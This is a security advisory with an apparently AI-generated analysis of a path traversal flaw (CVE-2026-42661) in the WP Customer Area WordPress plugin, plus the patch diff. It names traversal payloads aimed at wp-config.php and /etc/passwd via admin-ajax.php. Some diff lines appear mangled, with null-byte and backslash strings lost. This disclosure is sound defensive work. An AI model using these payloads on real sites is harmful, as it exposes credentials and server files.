Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 5, 2026

CVE-2026-42661: WP Customer Area <= 8.3.4 – Authenticated (Custom+) Path Traversal (customer-area)

Plugin customer-area
Severity Medium (CVSS 5.3)
CWE 22
Vulnerable Version 8.3.4
Patched Version 8.3.5
Disclosed April 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-42661:

The WP Customer Area plugin for WordPress (versions up to and including 8.3.4) contains a path traversal vulnerability in the private file handling functionality. This vulnerability allows authenticated attackers with Custom-level access or higher to copy files from outside the intended FTP directory into private storage, potentially exposing sensitive files from other parts of the server.

Root Cause:
The vulnerable code resides in private-file-default-handlers.class.php, specifically in the copy_file_to_private_storage method (around line 420). The original code constructed a source file path by directly concatenating the FTP folder path with the user-supplied filename without validating that the resulting path remained within the intended directory. It used the untrusted $initial_filename and $src_path variables without any path traversal checks. The method also lacked proper validation against null bytes, directory separators, or paths containing “..” sequences. This allowed attackers to supply filenames like “../../../etc/passwd” to read files outside the designated FTP root.

Exploitation:
An attacker authenticated with at least the Custom-level role can exploit this vulnerability by sending a crafted request to the AJAX handler responsible for copying files from the FTP folder to private storage. The attacker would POST to /wp-admin/admin-ajax.php with an action parameter that triggers the file copy functionality, providing a filename parameter containing path traversal sequences (e.g., “../../wp-config.php”). The plugin would then attempt to copy the specified file from outside the FTP directory into the private storage area, making it accessible to the attacker. The attack requires the attacker to have access to the Customer Area interface that allows file operations.

Patch Analysis:
The patch adds comprehensive path validation before processing the file copy. It uses realpath() to resolve both the source folder and the constructed source path to their canonical absolute paths. It then checks that the resolved source path begins with the resolved source folder path using strpos() comparison on normalized paths. Additionally, it validates the filename against null bytes and directory separators using strpos() and basename() checks. The copy() and unlink() calls now operate on the validated $src_real path instead of the concatenated $src_path. These changes prevent directory traversal by ensuring the source file must reside within the FTP folder hierarchy.

Impact:
Successful exploitation allows an authenticated attacker to read arbitrary files from the WordPress server that the web server user has access to. This could expose sensitive configuration files (wp-config.php), database credentials, uploaded media from other users, or system files. The severity is elevated by the fact that the Custom role is often assigned to customers or lower-privileged users. While the attacker cannot write arbitrary files, reading sensitive system files can lead to further privilege escalation or compromise of the entire WordPress installation.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/customer-area/customer-area.php
+++ b/customer-area/customer-area.php
@@ -3,7 +3,7 @@
 	Plugin Name: 	WP Customer Area
 	Description: 	WP Customer Area is a modular all-in-one solution to manage private content with WordPress.
 	Plugin URI: 	https://wp-customerarea.com
-	Version: 		8.3.4
+	Version: 		8.3.5
 	Author: 		Aguila Technologies
 	Author URI: 	https://www.aguila.fr/
 	Text Domain: 	cuar
@@ -38,7 +38,7 @@

 define('CUAR_LANGUAGE_DIR', basename(CUAR_PLUGIN_DIR) . '/languages');

-define('CUAR_PLUGIN_VERSION', '8.3.4');
+define('CUAR_PLUGIN_VERSION', '8.3.5');
 define('CUAR_PLUGIN_URL', plugin_dir_url(__FILE__));
 define('CUAR_SCRIPTS_URL', CUAR_PLUGIN_URL . 'scripts');
 define('CUAR_ADMIN_SKIN', 'plugin%%default-wp38');
--- a/customer-area/src/php/core-addons/capabilities/capabilities-addon.class.php
+++ b/customer-area/src/php/core-addons/capabilities/capabilities-addon.class.php
@@ -147,6 +147,18 @@
          */
         public function validate_options($validated, $cuar_settings, $input)
         {
+
+            if (!current_user_can('manage_options')) {
+                return $validated;
+            }
+
+            $tab = isset($_POST['tab']) ? sanitize_text_field(wp_unslash($_POST['tab'])) : '';
+            if ($tab !== 'cuar_capabilities') {
+                return $validated;
+            }
+
+            check_admin_referer( CUAR_Settings::$OPTIONS_GROUP . '_' . $tab . '-options' );
+
             global $wp_roles;
             if ( !isset($wp_roles)) $wp_roles = new WP_Roles();
             $roles = $wp_roles->role_objects;
--- a/customer-area/src/php/core-addons/installer/installer-addon.class.php
+++ b/customer-area/src/php/core-addons/installer/installer-addon.class.php
@@ -169,16 +169,16 @@
         public function create_pages_and_navigation()
         {

-			// Anti CSRF
-			check_ajax_referer('cuar_installer_create_pages_and_nav_nonce', 'security');
+            // Anti CSRF
+            check_ajax_referer('cuar_installer_create_pages_and_nav_nonce', 'security');

-			// Vérification des capacités
-			if ( ! current_user_can( 'manage_options' ) ) {
-				wp_send_json( [
-					'success' => false,
-					'message' => __( 'You do not have the required capabilities to perform this action.', 'cuar' ),
-				]);
-			}
+            // Vérification des capacités
+            if (!current_user_can('manage_options')) {
+                wp_send_json([
+                    'success' => false,
+                    'error' => __('You do not have the required capabilities to perform this action.', 'cuar'),
+                ]);
+            }

             // Use the Customer Pages add-on to do the job
             /** @var CUAR_CustomerPagesAddOn $cp_addon */
@@ -189,12 +189,10 @@
             // Clear the notices added by the above functions
             $this->plugin->clear_admin_notices();

-            // No way to screw up currently, always success
-            $response = new StdClass();
-            $response->success = true;
-            $response->message = __('The required pages and the navigation menu have been created', 'cuar');
-
-            wp_send_json($response);
+            wp_send_json([
+                'success' => true,
+                'message' => __('The required pages and the navigation menu have been created', 'cuar'),
+            ]);
         }

         /**
--- a/customer-area/src/php/core-addons/installer/templates/installer-part-setup-wizard.template.php
+++ b/customer-area/src/php/core-addons/installer/templates/installer-part-setup-wizard.template.php
@@ -93,6 +93,8 @@
     </p>
 </div>

+<?php $cuar_installer_nonce = wp_create_nonce('cuar_installer_create_pages_and_nav_nonce'); ?>
+
 <!--suppress JSUnresolvedVariable -->
 <script type="text/javascript">
     jQuery(document).ready(function($) {
@@ -109,7 +111,8 @@

             // Ajax call to create pages and navigation menu
             var data = {
-                'action': 'cuar_installer_create_pages_and_nav'
+                'action': 'cuar_installer_create_pages_and_nav',
+                'security': '<?php echo esc_js($cuar_installer_nonce); ?>',
             };
             $.post(ajaxurl, data, function(response) {
                 loadingIndicator.fadeOut();
@@ -138,7 +141,8 @@
         // Button to configure permissions
         $('.cuar-configure-permissions').click(function() {
             var data = {
-                'action': 'cuar_mark_permissions_as_configured'
+                'action': 'cuar_mark_permissions_as_configured',
+                'security': '<?php echo esc_js($cuar_installer_nonce); ?>',
             };
             $.post(ajaxurl, data, function (response) {
             });
--- a/customer-area/src/php/core-addons/private-file/private-file-default-handlers.class.php
+++ b/customer-area/src/php/core-addons/private-file/private-file-default-handlers.class.php
@@ -420,16 +420,44 @@
         $po_addon = $this->plugin->get_addon('post-owner');

         $src_folder = trailingslashit($pf_addon->get_ftp_path());
+        $src_folder_real = realpath($src_folder);
+
+        $initial_filename = (string) $initial_filename;
+        $is_invalid_filename = (
+            $initial_filename === ''
+            || strpos($initial_filename, "") !== false
+            || basename($initial_filename) !== $initial_filename
+            || strpos($initial_filename, '/') !== false
+            || strpos($initial_filename, '\') !== false
+        );
+
         $src_path = $src_folder . $initial_filename;
+        $src_real = $is_invalid_filename ? false : realpath($src_path);
+
+        $src_folder_real_normalized = $src_folder_real !== false ? wp_normalize_path(trailingslashit($src_folder_real)) : '';
+        $src_real_normalized = $src_real !== false ? wp_normalize_path($src_real) : '';
+
+        if (
+            $src_folder_real === false
+            || $src_real === false
+            || strpos($src_real_normalized, $src_folder_real_normalized) !== 0
+            || !is_file($src_real)
+            || !is_readable($src_real)
+        )
+        {
+            $errors[] = sprintf(__('An error happened while copying %s from the FTP folder', 'cuar'), $filename);
+
+            return $errors;
+        }

         $dest_folder = trailingslashit($po_addon->get_private_storage_directory($post_id, true, true));
         $dest_path = $dest_folder . $filename;

-        if (@copy($src_path, $dest_path))
+        if (@copy($src_real, $dest_path))
         {
-            if ($extra == 'ftp-move')
+            if (isset($extra) && $extra === 'ftp-move')
             {
-                @unlink($src_path);
+                @unlink($src_real);
             }
         }
         else
@@ -438,6 +466,7 @@
         }

         return $errors;
+
     }

     /**
--- a/customer-area/src/php/core-classes/addon-edit-content-page.class.php
+++ b/customer-area/src/php/core-classes/addon-edit-content-page.class.php
@@ -889,8 +889,8 @@
             check_ajax_referer('cuar_insert_image', 'nonce');

             // Prepare datas
-            $posted_data = isset($_POST) ? $_POST : null;
-            $file_data = isset($_FILES) ? $_FILES : null;
+            $posted_data = isset($_POST) ? $_POST : [];
+            $file_data = isset($_FILES) ? $_FILES : [];
             $data = array_merge($posted_data, $file_data);
             $post_type = isset($data['post_type']) ? $data['post_type'] : null;
             $post_id = isset($data['post_id']) ? $data['post_id'] : null;
@@ -912,50 +912,93 @@
                 wp_send_json_error(__('Oops! Security check failed!', 'cuar'));
             }

+
+            // Keep raw values for hash check
+            $subdir_raw = isset($data['subdir']) ? (string)$data['subdir'] : '';
+            $name_raw = isset($data['name']) ? (string)$data['name'] : '';
+            $hash_raw = isset($data['hash']) ? (string)$data['hash'] : '';
+
             // Check hash
-            $hash_check = md5($data['subdir'] . $user_check->data->user_login);
-            if ($hash_check !== $data['hash'])
+            $hash_check = md5($subdir_raw . $user_check->data->user_login);
+            if ($hash_check !== $hash_raw)
             {
                 wp_send_json_error(__('Oops! Security check failed!', 'cuar'));
             }

-            // Suppress parent dots
-            $data['subdir'] = ltrim($data['subdir'], '/.');
-            $data['name'] = ltrim($data['name'], '/.');
+            // Normalize and validate path parts
+            $subdir = trim(wp_normalize_path($subdir_raw), '/');
+            $name = trim(wp_normalize_path($name_raw), '/');
+
+            if (
+                $name === ''
+                || strpos($name, "") !== false
+                || strpos($name, '/') !== false
+                || strpos($name, '\') !== false
+                || basename($name) !== $name
+            ) {
+                wp_send_json_error(__('Oops! Security check failed!', 'cuar'));
+            }
+
+            if (strpos($subdir, "") !== false || strpos($subdir, '\') !== false) {
+                wp_send_json_error(__('Oops! Security check failed!', 'cuar'));
+            }
+
+            if ($subdir !== '') {
+                $tokens = explode('/', $subdir);
+                foreach ($tokens as $token) {
+                    if ($token === '' || $token === '.' || $token === '..') {
+                        wp_send_json_error(__('Oops! Security check failed!', 'cuar'));
+                    }
+                }
+            }

-            // Reconstruct image path
+            // Reconstruct image path safely
             $upload_locations = $this->ajax_custom_editor_images_upload_dir();
-            $file_to_delete = $upload_locations['basedir']
-                              . apply_filters('cuar/private-content/editor-images/subdir-upload-location', '/customer-area/')
-                              . $data['subdir'] . '/' . $data['name'];
+            $editor_images_root = $upload_locations['basedir']
+                . apply_filters('cuar/private-content/editor-images/subdir-upload-location', '/customer-area/');
+            $editor_images_root_real = realpath($editor_images_root);
+
+            if ($editor_images_root_real === false) {
+                wp_send_json_error(__('Oops! Security check failed!', 'cuar'));
+            }
+
+            $file_to_delete = trailingslashit($editor_images_root_real)
+                . ($subdir !== '' ? $subdir . '/' : '')
+                . $name;
+            $file_to_delete_real = realpath($file_to_delete);

             // Check if file exists
-            if (!file_exists($file_to_delete))
-            {
+            if ($file_to_delete_real === false) {
                 wp_send_json_error(__('It looks like the file you tried to delete does not exists.', 'cuar'));
             }

+            // Enforce deletion inside editor images root only
+            $editor_images_root_real_normalized = wp_normalize_path(trailingslashit($editor_images_root_real));
+            $file_to_delete_real_normalized = wp_normalize_path($file_to_delete_real);
+
+            if (strpos($file_to_delete_real_normalized, $editor_images_root_real_normalized) !== 0) {
+                wp_send_json_error(__('Oops! Security check failed!', 'cuar'));
+            }
+
             // Check file type
-            $supported_types = apply_filters('cuar/private-content/editor-images/supported-types',
+            $supported_types = apply_filters(
+                'cuar/private-content/editor-images/supported-types',
                 [
                     'image/jpeg',
                     'image/gif',
                     'image/png',
-                ]);
-            $arr_file_type = wp_check_filetype(basename($file_to_delete));
+                ]
+            );
+            $arr_file_type = wp_check_filetype(basename($file_to_delete_real));
             $uploaded_type = $arr_file_type['type'];
-            if (!in_array($uploaded_type, $supported_types, true))
-            {
+            if (!in_array($uploaded_type, $supported_types, true)) {
                 wp_send_json_error(sprintf(__('This file type is not allowed. You can only delete: %s', 'cuar'), implode(', ', $supported_types)));
             }

             // Delete file
-            if (!unlink($file_to_delete))
-            {
+            if (!unlink($file_to_delete_real)) {
                 wp_send_json_error(__('This file cannot be deleted, please contact site administrator.', 'cuar'));
-            }
-            else
-            {
+            } else {
                 wp_send_json_success();
             }
         }
@@ -1028,36 +1071,50 @@
          */
         public function ajax_is_user_allowed_to_create_or_update_content($post_type, $post_id, $current_user_id)
         {
-            // Check create content permissions
-            if (empty($post_type) || (!empty($post_id) && $post_id < 0 && !current_user_can($post_type . '_create_content')))
-            {
+            $post_type = sanitize_key((string)$post_type);
+            $post_id = (int)$post_id;
+            $current_user_id = (int)$current_user_id;
+
+            // Check create content permissions for new content
+            if (empty($post_type)) {
                 wp_send_json_error(__('It looks like you are not allowed to create content for this kind of post type.', 'cuar'));
             }

-            // Check update any content permissions
-            if (empty($post_type) || (!empty($post_id) && $post_id > 0 && current_user_can($post_type . '_update_any_content') !== true))
-            {
+            if ($post_id <= 0) {
+                if (!current_user_can($post_type . '_create_content')) {
+                    wp_send_json_error(__('It looks like you are not allowed to create content for this kind of post type.', 'cuar'));
+                }

-                // Make sure this is an updated content
-                if (!empty($post_id) && $post_id > 0)
-                {
-
-                    // Check update authored content permissions
-                    if ($current_user_id === (int)get_post_field('post_author', $post_id) && current_user_can($post_type . '_update_authored_content') !== true)
-                    {
-                        wp_send_json_error(__('It looks like you are not allowed to update authored content for this post.', 'cuar'));
-                    }
+                return;
+            }

-                    // Check update owned content permissions
-                    $po_addon = $this->plugin->get_addon('post-owner');
-                    if ($po_addon->is_user_owner_of_post($post_id, $current_user_id) && current_user_can($post_type . '_update_owned_content') !== true)
-                    {
-                        wp_send_json_error(__('It looks like you are not allowed to update owned content for this post.', 'cuar'));
-                    }
-                }
+            // Existing post: enforce strict update authorization
+            $post = get_post($post_id);
+            if ($post === null || $post->post_type !== $post_type) {
+                wp_send_json_error(__('Trying to cheat?', 'cuar'));
+            }
+
+            if (current_user_can($post_type . '_update_any_content')) {
+                return;
+            }
+
+            $is_author = ($current_user_id === (int)$post->post_author);
+
+            $po_addon = $this->plugin->get_addon('post-owner');
+            $is_owner = $po_addon !== null && $po_addon->is_user_owner_of_post($post_id, $current_user_id);
+
+            if ($is_author && current_user_can($post_type . '_update_authored_content')) {
+                return;
+            }
+
+            if ($is_owner && current_user_can($post_type . '_update_owned_content')) {
+                return;
             }
+
+            wp_send_json_error(__('It looks like you are not allowed to update this post.', 'cuar'));
         }

+
         /**
          * Change the upload directory on the fly when uploading our private file
          *
--- a/customer-area/src/php/core-classes/settings.class.php
+++ b/customer-area/src/php/core-classes/settings.class.php
@@ -138,66 +138,67 @@
          */
         public function print_settings_page()
         {
-            if (isset($_GET['run-setup-wizard']))
-            {
+            if (!is_admin() || !current_user_can('manage_options')) {
+                wp_die(__('Sorry, you are not allowed to access this page.', 'cuar'));
+            }
+
+            if (isset($_GET['run-setup-wizard'])) {
+
+                // CSRF protection on GET access
+                check_admin_referer('cuar_run_setup_wizard');
+
                 $success = false;
+                $errors = [];

-                if (isset($_POST['submit']))
-                {
-                    $errors = [];
-                    if (!isset($_POST["cuar_page_title"]) || empty($_POST["cuar_page_title"]))
-                    {
+                if (isset($_POST['submit'])) {
+
+                    // CSRF protection on POST submit
+                    check_admin_referer('cuar_setup_wizard', 'cuar_setup_wizard_nonce');
+
+                    $title = isset($_POST["cuar_page_title"])
+                        ? sanitize_text_field(wp_unslash($_POST["cuar_page_title"]))
+                        : '';
+
+                    if ($title === '') {
                         $errors[] = __('The page title cannot be empty', 'cuar');
                     }

-                    if (empty($errors))
-                    {
-                        $post_data = [
+                    if (empty($errors)) {
+                        $page_id = wp_insert_post([
                             'post_content' => '[customer-area /]',
-                            'post_title' => $_POST["cuar_page_title"],
+                            'post_title' => $title,
                             'post_status' => 'publish',
                             'post_type' => 'page',
                             'comment_status' => 'closed',
                             'ping_status' => 'closed',
-                        ];
-                        $page_id = wp_insert_post($post_data);
-                        if (is_wp_error($page_id))
-                        {
+                        ], true);
+
+                        if (is_wp_error($page_id)) {
                             $errors[] = $page_id->get_error_message();
-                        }
-                        else
-                        {
+                        } else {
                             $this->plugin->get_addon('customer-pages')->set_customer_page_id($page_id);
-                        }
-
-                        if (empty($errors))
-                        {
                             $success = true;
                         }
                     }
                 }

-                if ($_GET['run-setup-wizard'] == 1664)
-                {
-                    $success = true;
-                }
+                // REMOVE insecure magic trigger
+                // if ($_GET['run-setup-wizard'] == 1664) { $success = true; }

-                if ($success)
-                {
-                    include(CUAR_INCLUDES_DIR . '/setup-wizard-done.view.php');
-                }
-                else
-                {
-                    include(CUAR_INCLUDES_DIR . '/setup-wizard.view.php');
-                }
-            }
-            else
-            {
-                include($this->plugin->get_template_file_path(
-                    CUAR_INCLUDES_DIR . '/core-classes',
-                    'settings.template.php',
-                    'templates'));
+                include(
+                    $success
+                    ? CUAR_INCLUDES_DIR . '/setup-wizard-done.view.php'
+                    : CUAR_INCLUDES_DIR . '/setup-wizard.view.php'
+                );
+
+                return;
             }
+
+            include($this->plugin->get_template_file_path(
+                CUAR_INCLUDES_DIR . '/core-classes',
+                'settings.template.php',
+                'templates'
+            ));
         }

         /**
@@ -652,18 +653,28 @@
          */
         public function validate_role($input, &$validated, $option_id)
         {
-            $role = $input[$option_id];
-            if (isset($role) && ($role === "cuar_any" || null !== get_role($input[$option_id])))
-            {
-                $validated[$option_id] = $input[$option_id];
+            $role = $input[$option_id] ?? null;
+
+            if ($role === null || $role === '') {
+                return;
             }
-            else
-            {
-                add_settings_error($option_id, 'settings-errors',
-                    $option_id . ': ' . $input[$option_id] . __(' is not a valid role', 'cuar'), 'error');
+
+            $role = (string) $role;
+
+            if ($role === 'cuar_any' || null !== get_role($role)) {
+                $validated[$option_id] = $role;
+                return;
             }
+
+            add_settings_error(
+                $option_id,
+                'settings-errors',
+                $option_id . ': ' . esc_html($role) . __(' is not a valid role', 'cuar'),
+                'error'
+            );
         }

+
         /**
          * Validate a value in any case
          *
--- a/customer-area/trunk/customer-area.php
+++ b/customer-area/trunk/customer-area.php
@@ -1,180 +0,0 @@
-<?php
-/*
-	Plugin Name: 	WP Customer Area
-	Description: 	WP Customer Area is a modular all-in-one solution to manage private content with WordPress.
-	Plugin URI: 	https://wp-customerarea.com
-	Version: 		8.3.4
-	Author: 		Aguila Technologies
-	Author URI: 	https://www.aguila.fr/
-	Text Domain: 	cuar
-	Domain Path: 	/languages
-*/
-
-/*  Copyright 2013 Foobar Studio (contact@foobar.studio)
-
-	This program is free software; you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation; either version 2 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program; if not, write to the Free Software
-	Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
-*/
-
-if ( !defined('ABSPATH')) exit;
-
-
-if ( !defined('CUAR_PLUGIN_DIR')) define('CUAR_PLUGIN_DIR', untrailingslashit(plugin_dir_path(__FILE__)));
-if ( !defined('CUAR_INCLUDES_DIR')) define('CUAR_INCLUDES_DIR', CUAR_PLUGIN_DIR . '/src/php');
-
-if ( !defined('CUAR_PLUGIN_DIR')) define('CUAR_PLUGIN_DIR', untrailingslashit(plugin_dir_path(__FILE__)));
-if ( !defined('CUAR_INCLUDES_DIR')) define('CUAR_INCLUDES_DIR', CUAR_PLUGIN_DIR . '/src/php');
-
-define('CUAR_LANGUAGE_DIR', basename(CUAR_PLUGIN_DIR) . '/languages');
-
-define('CUAR_PLUGIN_VERSION', '8.3.4');
-define('CUAR_PLUGIN_URL', plugin_dir_url(__FILE__));
-define('CUAR_SCRIPTS_URL', CUAR_PLUGIN_URL . 'scripts');
-define('CUAR_ADMIN_SKIN', 'plugin%%default-wp38');
-define('CUAR_FRONTEND_SKIN', 'plugin%%master');
-define('CUAR_PLUGIN_FILE', basename(CUAR_PLUGIN_DIR) . '/customer-area.php');
-define('CUAR_DEBUG_LICENSING', false);
-define('CUAR_DEBUG_UPGRADE_PROCEDURE_FROM_VERSION', false);
-// define( 'CUAR_DEBUG_UPGRADE_PROCEDURE_FROM_VERSION', '6.3.0' );
-
-// Prevent plugin folder to be renamed to ensure compatibility with add-ons.
-if(basename(CUAR_PLUGIN_DIR) !== 'customer-area') {
-	wp_die("WP Customer Area plugin's folder name MUST be customer-area. Please, don't rename it to something else.");
-}
-
-require_once(CUAR_PLUGIN_DIR . '/wp67-compat.php');
-include_once(CUAR_PLUGIN_DIR . '/libs/php/cuar/cuar_commons.php');
-
-// Helpers
-include_once(CUAR_INCLUDES_DIR . '/helpers/address-helper.class.php');
-include_once(CUAR_INCLUDES_DIR . '/helpers/general-helper.class.php');
-include_once(CUAR_INCLUDES_DIR . '/helpers/currency-helper.class.php');
-include_once(CUAR_INCLUDES_DIR . '/helpers/country-helper.class.php');
-include_once(CUAR_INCLUDES_DIR . '/helpers/wordpress-helper.class.php');
-
-// Core Framework classes
-include_once(CUAR_INCLUDES_DIR . '/core-classes/Content/custom-post.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-classes/Content/custom-taxonomy.class.php');
-
-include_once(CUAR_INCLUDES_DIR . '/core-classes/Log/log-event.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-classes/Log/log-event-type.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-classes/Log/file-logger.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-classes/Log/logger.class.php');
-
-include_once(CUAR_INCLUDES_DIR . '/core-classes/Activation/plugin-activation-delegate.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-classes/Activation/plugin-activation-manager.class.php');
-
-include_once(CUAR_INCLUDES_DIR . '/core-classes/TemplateEngine/template-file.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-classes/TemplateEngine/template-finder.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-classes/TemplateEngine/template-engine.class.php');
-
-include_once(CUAR_INCLUDES_DIR . '/core-classes/Licensing/licensing-client.class.php');
-
-include_once(CUAR_INCLUDES_DIR . '/core-classes/MessageCenter/message-center.class.php');
-
-include_once(CUAR_INCLUDES_DIR . '/core-classes/Shortcode/shortcode.class.php');
-
-include_once(CUAR_INCLUDES_DIR . '/core-classes/Cron/cron.class.php');
-
-include_once(CUAR_INCLUDES_DIR . '/core-classes/Addon/addon-manager.class.php');
-
-// Core Plugin classes
-include_once(CUAR_INCLUDES_DIR . '/core-classes/settings.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-classes/plugin-activation.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-classes/plugin.class.php');
-
-include_once(CUAR_INCLUDES_DIR . '/core-classes/object-meta/renderer/field-renderer.interface.php');
-include_once(CUAR_INCLUDES_DIR . '/core-classes/object-meta/renderer/abstract-field-renderer.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-classes/object-meta/renderer/abstract-input-field-renderer.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-classes/object-meta/renderer/password-field-renderer.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-classes/object-meta/renderer/email-field-renderer.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-classes/object-meta/renderer/long-text-field-renderer.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-classes/object-meta/renderer/short-text-field-renderer.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-classes/object-meta/renderer/display-name-field-renderer.class.php');
-
-include_once(CUAR_INCLUDES_DIR . '/core-classes/object-meta/storage/storage.interface.php');
-include_once(CUAR_INCLUDES_DIR . '/core-classes/object-meta/storage/user-meta-storage.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-classes/object-meta/storage/user-storage.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-classes/object-meta/storage/post-meta-storage.class.php');
-
-include_once(CUAR_INCLUDES_DIR . '/core-classes/object-meta/validation/validation-rule.interface.php');
-include_once(CUAR_INCLUDES_DIR . '/core-classes/object-meta/validation/simple-validation.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-classes/object-meta/validation/email-validation.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-classes/object-meta/validation/string-validation.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-classes/object-meta/validation/number-validation.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-classes/object-meta/validation/password-validation.class.php');
-
-include_once(CUAR_INCLUDES_DIR . '/core-classes/object-meta/field/field.interface.php');
-include_once(CUAR_INCLUDES_DIR . '/core-classes/object-meta/field/simple-field.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-classes/object-meta/field/header-field.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-classes/object-meta/field/text-field.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-classes/object-meta/field/number-field.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-classes/object-meta/field/email-field.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-classes/object-meta/field/user-password-field.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-classes/object-meta/field/display-name-field.class.php');
-
-// Core addons
-include_once(CUAR_INCLUDES_DIR . '/core-addons/admin-area/admin-area-addon.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-addons/installer/installer-addon.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-addons/log/log-addon.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-addons/post-owner/post-owner-addon.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-addons/post-owner/post-owner-user-owner-type.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-addons/container-owner/container-owner-addon.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-addons/capabilities/capabilities-addon.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-addons/customer-pages/customer-pages-addon.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-addons/status/status-addon.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-addons/user-profile/user-profile-addon.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-addons/shortcodes/shortcodes-addon.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-addons/addresses/addresses-addon.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-addons/payments/payments-addon.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-addons/payments-home/payments-home-addon.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-addons/payments-checkout/payments-checkout-addon.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-addons/payments-success/payments-success-addon.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-addons/payments-failure/payments-failure-addon.class.php');
-
-// Core content types
-include_once(CUAR_INCLUDES_DIR . '/core-addons/private-page/private-page-addon.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-addons/private-file/private-file-addon.class.php');
-
-// Core pages
-include_once(CUAR_INCLUDES_DIR . '/core-addons/customer-home/customer-home-addon.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-addons/customer-dashboard/customer-dashboard-addon.class.php');
-
-include_once(CUAR_INCLUDES_DIR . '/core-addons/customer-account-home/customer-account-home-addon.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-addons/customer-account-edit/customer-account-edit-addon.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-addons/customer-account/customer-account-addon.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-addons/customer-logout/customer-logout-addon.class.php');
-
-include_once(CUAR_INCLUDES_DIR . '/core-addons/customer-private-files-home/customer-private-files-home-addon.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-addons/customer-private-files/customer-private-files-addon.class.php');
-
-include_once(CUAR_INCLUDES_DIR . '/core-addons/customer-private-pages-home/customer-private-pages-home-addon.class.php');
-include_once(CUAR_INCLUDES_DIR . '/core-addons/customer-private-pages/customer-private-pages-addon.class.php');
-
-// Template functions
-include_once(CUAR_INCLUDES_DIR . '/functions/functions-general.php');
-include_once(CUAR_INCLUDES_DIR . '/functions/functions-payments.php');
-include_once(CUAR_INCLUDES_DIR . '/functions/functions-private-content.php');
-include_once(CUAR_INCLUDES_DIR . '/functions/functions-private-files.php');
-include_once(CUAR_INCLUDES_DIR . '/functions/functions-private-pages.php');
-
-// Some hooks for activation, deactivation, ...
-CUAR_PluginActivationManager::set_delegate(new CUAR_PluginActivation());
-register_activation_hook(__FILE__, array('CUAR_PluginActivationManager', 'on_activate'));
-register_deactivation_hook(__FILE__, array('CUAR_PluginActivationManager', 'on_deactivate'));
-
-// Start the plugin!
-global $cuar_plugin;
-$cuar_plugin = new CUAR_Plugin();
-$cuar_plugin->run();
--- a/customer-area/trunk/libs/php/automattic/parse-readme.php
+++ b/customer-area/trunk/libs/php/automattic/parse-readme.php
@@ -1,455 +0,0 @@
-<?php
-
-defined('ABSPATH') or die('Nope, not accessing this');
-
-// This is the path to markdown.php
-if ( !defined('WORDPRESS_README_MARKDOWN'))
-{
-    if (defined('AUTOMATTIC_README_MARKDOWN'))
-    {
-        define('WORDPRESS_README_MARKDOWN', AUTOMATTIC_README_MARKDOWN);
-    }
-    else
-    {
-        define('WORDPRESS_README_MARKDOWN', CUAR_PLUGIN_DIR . '/libs/php/vendor/michelf/php-markdown/Michelf/Markdown.inc.php');
-    }
-}
-
-use MichelfMarkdown;
-
-Class WordPress_Readme_Parser
-{
-
-    function __construct()
-    {
-        // This space intentially blank
-    }
-
-    function parse_readme($file)
-    {
-        $file_contents = @implode('', @file($file));
-
-        return $this->parse_readme_contents($file_contents);
-    }
-
-    function parse_readme_contents($file_contents)
-    {
-        $file_contents = str_replace(array("rn", "r"), "n", $file_contents);
-        $file_contents = trim($file_contents);
-        if (0 === strpos($file_contents, "xEFxBBxBF"))
-        {
-            $file_contents = substr($file_contents, 3);
-        }
-
-        // Markdown transformations
